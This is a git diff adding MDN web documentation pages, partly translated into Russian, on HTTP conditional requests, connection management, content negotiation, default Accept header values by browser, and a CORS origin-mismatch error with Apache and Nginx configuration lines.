The kind of validation is independent of the validator used. Both {{HTTPHeader("Last-Modified")}} and {{HTTPHeader("ETag")}} allow both types of validation, though the complexity to implement it on the server side may vary. HTTP uses strong validation by default, and it specifies when weak validation can be used.

+ +

Strong validation

+ +

Strong validation consists of guaranteeing that the resource is, byte to byte, identical to the one it is compared too. This is mandatory for some conditional headers, and the default for the others. Strong validation is very strict and may be difficult to guarantee at the server level, but it does guarantee no data loss at any time, sometimes at the expense of performance.

+ +

It is quite difficult to have a unique identifier for strong validation with {{HTTPHeader("Last-Modified")}}. Often this is done using an {{HTTPHeader("ETag")}} with the MD5 hash of the resource (or a derivative).

+ +

Weak validation

+ +

Weak validation differs from strong validation, as it considers two versions of the document as identical if the content is equivalent. For example, a page that would differ from another only by a different date in its footer, or different advertising, would be considered identical to the other with weak validation. These same two versions are considered different when using strong validation. Building a system of etags that creates weak validation may be complex, as it involves knowing the importance of the different elements of a page, but is very useful towards optimizing cache performance.

+ +

Conditional headers

+ +

Several HTTP headers, called conditional headers, lead to conditional requests. These are:

+ +
+
{{HTTPHeader("If-Match")}}
+
Succeeds if the {{HTTPHeader("ETag")}} of the distant resource is equal to one listed in this header. By default, unless the etag is prefixed with 'W/', it performs a strong validation.
+
{{HTTPHeader("If-None-Match")}}
+
Succeeds if the {{HTTPHeader("ETag")}} of the distant resource is different to each listed in this header. By default, unless the etag is prefixed with 'W/', it performs a strong validation.
+
{{HTTPHeader("If-Modified-Since")}}
+
Succeeds if the {{HTTPHeader("Last-Modified")}} date of the distant resource is more recent than the one given in this header.
+
{{HTTPHeader("If-Unmodified-Since")}}
+
Succeeds if the {{HTTPHeader("Last-Modified")}} date of the distant resource is older or the same than the one given in this header.
+
{{HTTPHeader("If-Range")}}
+
Similar to {{HTTPHeader("If-Match")}}, or {{HTTPHeader("If-Unmodified-Since")}}, but can have only one single etag, or one date. If it fails, the range request fails, and instead of a {{HTTPStatus("206")}} Partial Content response, a {{HTTPStatus("200")}} OK is sent with the complete resource.
+
+ +

Use cases

+ +

Cache update

+ +

The most common use case for conditional requests is updating a cache. With an empty cache, or without a cache, the requested resource is sent back with a status of {{HTTPStatus("200")}} OK.

+ +

The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled.

+ +

Together with the resource, the validators are sent in the headers. In this example, both {{HTTPHeader("Last-Modified")}} and {{HTTPHeader("ETag")}} are sent, but it could equally have been only one of them. These validators are cached with the resource (like all headers) and will be used to craft conditional requests, once the cache becomes stale.

+ +

As long as the cache is not stale, no requests are issued at all. But once it has become stale, this is mostly controlled by the {{HTTPHeader("Cache-Control")}} header, the client doesn't use the cached value directly but issues a conditional request. The value of the validator is used as a parameter of the {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Match")}} headers.

+ +

If the resource has not changed, the server sends back a {{HTTPStatus("304")}} Not Modified response. This makes the cache fresh again, and the client uses the cached resource. Although there is a response/request round-trip that consumes some resources, this is more efficient than to transmit the whole resource over the wire again.

+ +

With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same.

+ +

If the resource has changed, the server just sends back a {{HTTPStatus("200")}} OK response, with the new version of the resource, like if the request wasn't conditional and the client use this new resource (and caches it).

+ +

In the case where the resource was changed, it is sent back as if the request wasn't conditional.

+ +

Besides the setting of the validators on the server side, this mechanism is transparent: all browsers manage a cache and send such conditional requests without any special work to be done by Web developers.

+ +

Integrity of a partial download

+ +

Partial downloading of files is a functionality of HTTP that allows to resume previous operations, saving bandwidth and time, by keeping the already obtained information:

+ +

A download has been stopped and only partial content has been retrieved.

+ +

A server supporting partial downloads broadcasts this by sending the {{HTTPHeader("Accept-Ranges")}} header. Once this happens, the client can resume a download by sending a {{HTTPHeader("Ranges")}} header with the missing ranges:

+ +

The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request.

+ +

The principle is simple, but there is one potential problem: if the downloaded resource has been modified between both downloads, the obtained ranges will correspond to two different versions of the resource, and the final document will be corrupted.

+ +

To prevent this, conditional requests are used. For ranges, there are two ways of doing this. The more flexible one makes use of {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Match")}} and the server returns an error if the precondition fails; the client then restarts the download from the beginning:

+ +

When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely.

+ +

Even if this method works, it adds an extra response/request exchange when the document has been changed. This impairs performance, and HTTP has a specific header to avoid this scenario: {{HTTPHeader("If-Range")}}:

+ +

The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download.

+ +

This solution is more efficient, but slightly less flexible, as only one etag can be used in the condition. Rarely is such additional flexibility needed.

+ +

Avoiding the lost update problem with optimistic locking

+ +

A common operation in Web applications is to update a remote document. This is very common in any file system or source control applications, but any application that allows to store remote resources needs such a mechanism. Common Web sites, like wikis and other CMS, have such a need.

+ +

With the {{HTTPMethod("PUT")}} method you are able to implement this. The client first reads the original files, modifies them, and finally pushes them to the server:

+ +

Updating a file with a PUT is very simple when concurrency is not involved.

+ +

Unfortunately, things get a little inaccurate as soon as we take into account concurrency. While a client is locally modifying its new copy of the resource, a second client can fetch the same resource and do the same on its copy. What happens next is very unfortunate: when they commit back to the server, the modifications from the first client are discarded by the next client push, as this second client is unaware of the first client's changes to the resource. The decision on who wins, is not communicated to the other party. Which client's changes are to be kept, will vary with the speed they commit; this depends on the performance of the clients, of the server, and even of the human editing the document at the client. The winner will change from one time to the next. This is a {{glossary("race condition")}} and leads to problematic behaviors, which are difficult to detect and to debug:

+ +

When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!

+ +

There is no way to deal with this problem without annoying one of the two clients. However, lost updates and race conditions are to be avoided. We want predictable results, and expect that the clients are notified when their changes are rejected.

+ +

Conditional requests allow implementing the optimistic locking algorithm (used by most wikis or source control systems). The concept is to allow all clients to get copies of the resource, then let them modify it locally, controlling concurrency by successfully allowing the first client submitting an update. All subsequent updates, based on the now obsolete version of the resource, are rejected:

+ +

Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error.

+ +

This is implemented using the {{HTTPHeader("If-Match")}} or {{HTTPHeader("If-Unmodified-Since")}} headers. If the etag doesn't match the original file, or if the file has been modified since it has been obtained, the change is simply rejected with a {{HTTPStatus("412")}} Precondition Failed error. It is then up to the client to deal with the error: either by notifying the user to start again (this time on the newest version), or by showing the user a diff of both versions, helping them decide which changes they wish to keep.

+ +

Dealing with the first upload of a resource

+ +

The first upload of a resource is an edge case of the previous. Like any update of a resource, it is subject to a race condition if two clients try to perform at the similar times. To prevent this, conditional requests can be used: by adding {{HTTPHeader("If-None-Match")}} with the special value of '*', representing any etag. The request will succeed, only if the resource didn't exist before:

+ +

Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it.

+ +

If-None-Match will only work with HTTP/1.1 (and later) compliant servers. If unsure if the server will be compliant, you need first to issue a {{HTTPMethod("HEAD")}} request to the resource to check this.

+ +

Conclusion

+ +

Conditional requests are a key feature of HTTP, and allow the building of efficient and complex applications. For caching or resuming downloads, the only work required for webmasters is to configure the server correctly; setting correct etags in some environments can be tricky. Once achieved, the browser will serve the expected conditional requests.

+ +

For locking mechanisms, it is the opposite: Web developers need to issue a request with the proper headers, while webmasters can mostly rely on the application to carry out the checks for them.

+ +

In both cases it's clear, conditional requests are a fundamental feature behind the Web.

diff --git a/files/ru/web/http/connection_management_in_http_1.x/index.html b/files/ru/web/http/connection_management_in_http_1.x/index.html new file mode 100644 index 0000000000..16ce498108 --- /dev/null +++ b/files/ru/web/http/connection_management_in_http_1.x/index.html @@ -0,0 +1,84 @@ +--- +title: Connection management in HTTP/1.x +slug: Web/HTTP/Connection_management_in_HTTP_1.x +translation_of: Web/HTTP/Connection_management_in_HTTP_1.x +--- +
{{HTTPSidebar}}
+ +

Управление соединением является ключевой темой HTTP: открытие и поддержка соединения оказывает значительное влияние на производительность веб-сайтов и веб-приложений. В HTTP/1.x имеются следующие модели: краткосрочные соединения, постоянные соединения и конвейерная обработка HTTP (HTTP pipelining).

+ +

В качестве транспортного протокола, обеспечивающего связь между клиентом и сервером, HTTP по большей части использует TCP. Это краткосрочные (short-lived) соединения: при каждой отправке запроса открывается новое соединение, которое закрывается после того, как ответ получен.

+ +

Такой модели присущи проблемы в отношении производительности: ресурсы приходится затрачивать на открытие каждого соединения TCP. Клиенту и сервером необходимо обмениваться несколькими сообщениями. При отправке каждого запроса приходится считаться с запаздыванием и пропускной способностью сети. Современным веб-страницам требуется выполнять множество (десятки) запросов для передачи необходимой информации, что делает данную модель неэффективной.

+ +

В HTTP/1.1 были созданы две новые модели.  Модель постоянного соединения оставляет соединение открытым между последовательными запросами, экономя время, требуемое для открытия новых соединений. Модель конвейерной обработки HTTP делает следующий шаг - она позволяет отсылать несколько запросов подряд, не дожидаясь ответа, что существенно сокращает время ожидания в сети.

+ +

Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining.

+ +
+

В HTTP/2 внесены дополнительные модели управления соединением.

+
+ +

Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (hop-by-hop) а не "конец-к-концу"  (end-to-end). Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлеченные в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются пошаговыми заголовками, значения которых могут изменяться промежуточными узлами.

+ +

Краткосрочные соединения (Short-lived connections)

+ +

Исходной моделью в HTTP, в HTTP/1.0 она же является моделью по умолчанию, являются краткосрочные соединения (short-lived connections). Для каждого HTTP запроса используется отдельное соединение; это означает, что "рукопожатие" TCP происходит перед каждым из запросов HTTP, идущих один за другим.

+ +

TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или теплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.

+ +

Данная модель является моделью по умолчанию в HTTP/1.0 (при отсутствии заголовка {{HTTPHeader("Connection")}}, или когда его значением является close). В HTTP/1.1 такая модель используется только если заголовок {{HTTPHeader("Connection")}} посылается со значением close.

+ +
+

Если речь не идет об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.

+
+ +

Постоянные соединения

+ +

Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (теплое соединение). Для решения этих проблем была разработана концепция постоянного соединения (persistent connection), еще до появления HTTP/1.1. Его также называют соединением keep-alive.

+ +

Постоянным называют соединение, которое остается открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остается открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).

+ +

У постоянных соединений есть свои недочеты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.

+ +

Соединеня HTTP/1.0 по умолчанию не являются постоянными. Для превращения их в постоянные надо присвоить заголовку {{HTTPHeader("Connection")}} значение, отличное от close - обычно retry-after.

+ +

В HTTP/1.1 соединения являются постоянными по умолчанию, так что этот заголовок больше не требуется (но часто добавляется в качестве защитной меры на случай, если потребуется откат к HTTP/1.0).

+ +

Конвейерная обработка в HTTP (HTTP pipelining)

+ +
+

Конвейерная обработка HTTP в современных браузерах не активирована по умолчанию:

+ + + +

По этим причинам в HTTP/2 на смену конвейерной обработке пришел новый алгоритм, мультиплексность (multiplexing).

+
+ +

По умолчанию запросы HTTP идут последовательно. Новый запрос выдается только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер увидит следующий запрос с существенной задержкой.

+ +

Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счет упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный MSS (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.

+ +

Не все типы запросов HTTP позволяют конвейерную обработку: только методы {{glossary("idempotent")}}, а именно {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} и {{HTTPMethod("DELETE")}}, можно перезапускать безопасно: в случае сбоя содержимое конвейерной передачи можно просто повторить.

+ +

В наши дни любой удовлетворяющий требованиям HTTP/1.1 прокси или сервер должен поддерживать конвейерную обработку, хотя на практике возникает множество ограничений, поэтому ни один из современных браузеров не активирует этот режим по умолчанию.

+ +

Доменное разделение (Domain sharding)

+ +
+

Не используйте этот устаревший метод без крайней необходимости; вместо этого переходите на HTTP/2. В HTTP/2 доменное разделение больше не требуется: соединение HTTP/2 соединение прекрасно работает с параллельными неприоритезированными запросами. Доменное разделение даже вредит производительности. Большинство реализаций HTTP/2 использует метод, называемый слиянием соединений (connection coalescing) для возврата конечного доменного разделения.

+
+ +

Поскольку соединение HTTP/1.x является последовательными запросами, даже без упорядочивания, оно не может быть оптимальным без наличия достаточно большой пропускной способности. Браузеры находят решение в открытии нескольких соедининий к каждому домену с отсылкой параллельных запросов. По умолчанию это когда-то было 2-3 соединения, но сейчас их число возросло примерно до 6 параллельных соединений. При попытке использовать большее количество есть риск спровоцировать защиту от DoS со стороны сервера.

+ +

Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, www.example.com, он может распределить их по нескольким доменам, www1.example.com, www2.example.com, www3.example.com. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастет до 18). Этот метод называют доменным разделением (domain sharding).

+ +

+ +

Заключение

+ +

Улучшение управлением соединениями дает существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.

diff --git a/files/ru/web/http/content_negotiation/index.html b/files/ru/web/http/content_negotiation/index.html new file mode 100644 index 0000000000..3b9760e25f --- /dev/null +++ b/files/ru/web/http/content_negotiation/index.html @@ -0,0 +1,131 @@ +--- +title: Согласование контента +slug: Web/HTTP/Content_negotiation +tags: + - Согласование контента +translation_of: Web/HTTP/Content_negotiation +--- +
{{HTTPSidebar}}
+ +

В HTTP, согласование контента - это механизм используемый для отображения различных представлений ресурса по тому же URI, так чтобы клиент мог указать, что лучше подходит для пользователя (например, желаемый язык документа, формат изображения, или кодировку текста).

+ +

Принципы согласования контента

+ +

Конкретный документ называется ресурсом. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, назывется представлением, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определенный URL. Выбор конкретного представления при вызове ресурса определяется механизмом согласования контента и существует несколько способов согласования между клиентом и сервером.

+ +

+ +

Определение наиболее подходящего представления производится с помощью одного из двух механизмов:

+ + + +

На протяжении многих лет предлагались и другие предложения по согласованию содержания, такие как прозрачное согласование контента и Alternates заголовок. Они не смогли получить достаточной поддержки и были заброшены.

+ +

Согласование на основе сервера

+ +

В согласовании на стороне сервера или упреждающем согласовании, браузер (или любое другое клиентское приложение) посылае несколько заголовков HTTP наряду с URL. Эти заголовки описывают предпочтения пользователя. Сервер использует их в качестве посказок для внутреннего алгоритма, который выбирает наиболее подходящее представление ресурса, чтобы предоставить его клиенту. Реализация алгоритма в стандарт не входит и полностью зависит от сервера. Для примера, смотрите алгоритм согласования Apache 2.2.

+ +

+ +

Стандарт HTTP/1.1 определяет список стандартных заголовков которые используются в этом механизме согласования – ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Хотя, строго говоря, {{HTTPHeader("User-Agent")}} не находится в этом списке, в некоторых случаях он используется, чтобы послать определённое представление запрошенного ресурса, несмотря на то, что это и не является хорошей практикой. Сервер использует заголовок {{HTTPHeader("Vary")}} чтобы обозначить, какие заголовки он использовал для согласования (точнее, ассоциированные с ними заголовки ответа), чтобы кэширование работало оптимально.

+ +

В дополнение к этим, есть предложение добавить больше заголовков в список доступным, так называемые Подсказки Клиента (Client Hints). Они будут предоставлять информацио о типе устройства на котором они используются (например, будет это настольный компьютер или мобильное устройство).

+ +

Согласование на стороне сервера является самым популярным способом согласования контента, но у него есть несколько недостатков:

+ + + +

Заголовок Accept

+ +

Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделенный запятыми, каждый из которых, опционально, снабжён коэффицентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.

+ +

{{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком значений по умолчанию, используемых распространенными браузерами.

+ +

Заголовок Accept-CH {{experimental_inline}}

+ +
+

Перед вами экспериментальная технология под названием Client Hints (Подсказки Клиента), реализуемая на данный момент только в Chrome 46 и более поздних версиях

+
+ +

Экспериментальный заголовок {{HTTPHeader("Accept-CH")}} перечисляет конфигурфцию клиента, которая может быть использована сервером для выбора подходящего ответа. Определённые значения:

+ + + + + + + + + + + + + + + + + + + + + + +
ValueMeaning
DPRУказывает соотношение логических пикселей к физическим на устройстве.
Viewport-WidthУказывает ширину окна отображения.
WidthУказывает ширину ресурса в физических пикселях (другими словами собственный размер изображения).
+ +

Заголовок Accept-Charset

+ +

Заголовок {{HTTPHeader("Accept-Charset")}} указывает серверу какие кодировки текста поддерживает клиент. По-традиции он имеет своё значение для каждой локали браузера, например, ISO-8859-1,utf-8;q=0.7,*;q=0.7 установлен для западноевропейской локали.

+ +

В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфеденциальность за счет уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок Accept-Charset: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.

+ +

Заголовок Accept-Encoding

+ +

The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: br, gzip;q=0.8) that indicates the priority of the encoding values. The default value identity is at the lowest priority (unless otherwise declared).

+ +

Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.

+ +

Заголовок Accept-Language

+ +

The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: "de, en;q=0.7"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.

+ +

Due to the configuration-based entropy increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:

+ + + +

Заголовок User-Agent

+ +
+

Though there are legitimate uses of this header for selecting content, it is considered bad practice to rely on it to define what features are supported by the user agent.

+
+ +

The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of product tokens and comments.

+ +

A product token is a name followed by a '/' and a version number, like Firefox/4.0.1. There may be as many of them as the user-agent wants. A comment is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by ';'.

+ +

The Vary response header

+ +

In opposition to the previous Accept-* headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.

+ +

The special value of '*' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.

+ +

The Vary header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with agent-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '*' prevents caching from occurring, as the cache cannot know what element is behind it.

+ +

Согласование на основе агента

+ +

Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.

+ +

From the beginnings of HTTP, the protocol allowed another negotiation type: agent-driven negotiation or reactive negotiation. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.

+ +

+ +

Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.

diff --git a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html new file mode 100644 index 0000000000..043d2c19c0 --- /dev/null +++ b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html @@ -0,0 +1,256 @@ +--- +title: Используемые по умолчанию значения заголовка Accept +slug: Web/HTTP/Content_negotiation/List_of_default_Accept_values +tags: + - HTTP + - Reference + - Заголовок Accept + - Согласование контента +translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values +--- +
{{HTTPSidebar}}
+ +

В этой статье описывается, какие значения используются в HTTP-заголовке Accept по умолчанию в зависимости от конкретного запроса и версии браузера.

+ +

Значения по умолчанию

+ +

Здесь приведены значения, которые отправляются, когда нет никакой уточняющей информации. Обратите внимание, что все браузеры добавляют MIME-тип */*, чтобы были охвачены все возможные варианты. Обычно значения имеют такой вид, когда запросы выполняются через адресную строку или через HTML-элемент {{HTMLElement("a")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Агент пользователяЗначениеКомментарий
Firefox +

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (начиная с Firefox 66)
+
+ text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (в Firefox 65)
+
+ text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (в более ранних версиях)

+ 		В Firefox до версии 65 включительно значение можно изменить с помощью параметра network.http.accept.default (см. исходный код).
Safari, Chrome +

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

+ 		исходный код
Safari 5 +

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

+ 		Значение улучшено по сравнению с прежними вариантами заголовка Accept: MIME-тип image/png уже не указывается как более приоритетный, чем text/html.
Internet Explorer 8image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*См. запись IE and the Accept Header в блоге MSDN под названием IEInternals.
Edgetext/html, application/xhtml+xml, image/jxr, */*
Operatext/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
+ +

Значения для изображений

+ +

Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задает уточненный список подходящих MIME-типов.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Агент пользователяЗначениеКомментарий
Firefox +

image/webp,*/* (начиная с Firefox 65)
+ */* (начиная с Firefox 47)
+ image/png,image/*;q=0.8,*/*;q=0.5 (в более ранних версиях)

+ 		Значение можно изменить с помощью параметра image.http.accept. исходный код
Safari*/*
Chromeimage/webp,image/apng,image/*,*/*;q=0.8исходный код
Internet Explorer до версии 8 включительно*/*См. запись IE and the Accept Header в блоге MSDN под названием IEInternals.
Internet Explorer 9image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5См. запись Fiddler is better with Internet Explorer 9 в блоге MSDN под названием IEInternals.
+ +

Значения для видео

+ +

Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточненное значение.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Агент пользователяЗначениеКомментарий
Firefox до версии 3.6Не поддерживается для элемента {{HTMLElement("video")}}.
Firefox начиная с версии 3.6video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5См. страницу ошибки 489071. исходный код
Chrome*/*исходный код
Internet Explorer до версии 8 включительноНе поддерживается для элемента {{HTMLElement("video")}}.
+ +

Значения для аудиофайлов

+ +

Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточненное значение.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Агент пользователяЗначениеКомментарий
Firefox начиная с версии 3.6audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5См. страницу ошибки 489071. исходный код
Safari, Chrome*/*исходный код
Internet Explorer до версии 8 включительноНе поддерживается для элемента {{HTMLElement("audio")}}.
Internet Explorer 9?
+ +

Значения для скриптов

+ +

Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточненное значение.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Агент пользователяЗначениеКомментарий
Firefox*/*См. страницу ошибки 170789.
Safari, Chrome*/*исходный код
Internet Explorer до версии 8 включительно*/*См. запись IE and the Accept Header в блоге MSDN под названием IEInternals.
Internet Explorer 9application/javascript, */*;q=0.8См. запись Fiddler is better with Internet Explorer 9 в блоге MSDN под названием IEInternals.
+ +

Значения для таблиц стилей CSS

+ +

Если запрашивается таблица стилей CSS через HTML-элемент <link rel="stylesheet">, в большинстве браузеров используется уточненное значение.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Агент пользователяЗначениеКомментарий
Firefox 4text/css,*/*;q=0.1См. страницу ошибки 170789. исходный код
Internet Explorer до версии 8 включительно*/*См. запись IE and the Accept Header в блоге MSDN под названием IEInternals.
Internet Explorer 9text/cssСм. запись Fiddler is better with Internet Explorer 9 в блоге MSDN под названием IEInternals.
Safari, Chrometext/css,*/*;q=0.1исходный код
Opera 11.10text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Konqueror 4.6text/css,*/*;q=0.1
diff --git a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html new file mode 100644 index 0000000000..8a59413663 --- /dev/null +++ b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html @@ -0,0 +1,47 @@ +--- +title: 'Причина: CORS заголовок ''Access-Control-Allow-Origin'' не соответствует ''xyz''' +slug: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin +tags: + - CORS + - CORSAllowOriginNotMatchingOrigin + - Cross-Origin + - HTTP + - HTTPS + - Безопасность + - Исправление проблем + - Ошибка + - Сообщения + - консоль + - причины +translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin +--- +
{{HTTPSidebar}}
+ +

Reason

+ +
Причина: CORS заголовок 'Access-Control-Allow-Origin' не соответсвует 'xyz'
+ +

Что пошло не так?

+ +

Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешенных заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.

+ +

Эта ошибка также может произойти, если ответ содежит более одного заголовка Access-Control-Allow-Origin.

+ +

Если сервис, к которому ваш код обращается с помощью CORS запроса находится под вашим контролем, убедитесь что он настроен для включения в себя вашего источника в заголовке Access-Control-Allow-Origin и что в ответах от сервера присутствует только один такой заголовок. Заголовок принимает список источников, поэтому указать новый источник совсем не сложно.

+ +

К примеру, в Apache, вы можете добавить следующую строку в конфигурацию веб-сервера (в пределах одной из секций - <Directory>, <Location>, <Files> или <VirtualHost>). Обычно конфигурация находиться в файле .conf (наиболее частые имена для него - httpd.conf и apache.conf) или в файле .htaccess.

+ +
Header set Access-Control-Allow-Origin 'origin-list'
+ +

В Nginx, для установки такого заголовка можно воспользоваться следующей командой: 

+ +
add_header 'Access-Control-Allow-Origin' 'origin-list'
+ +

See also

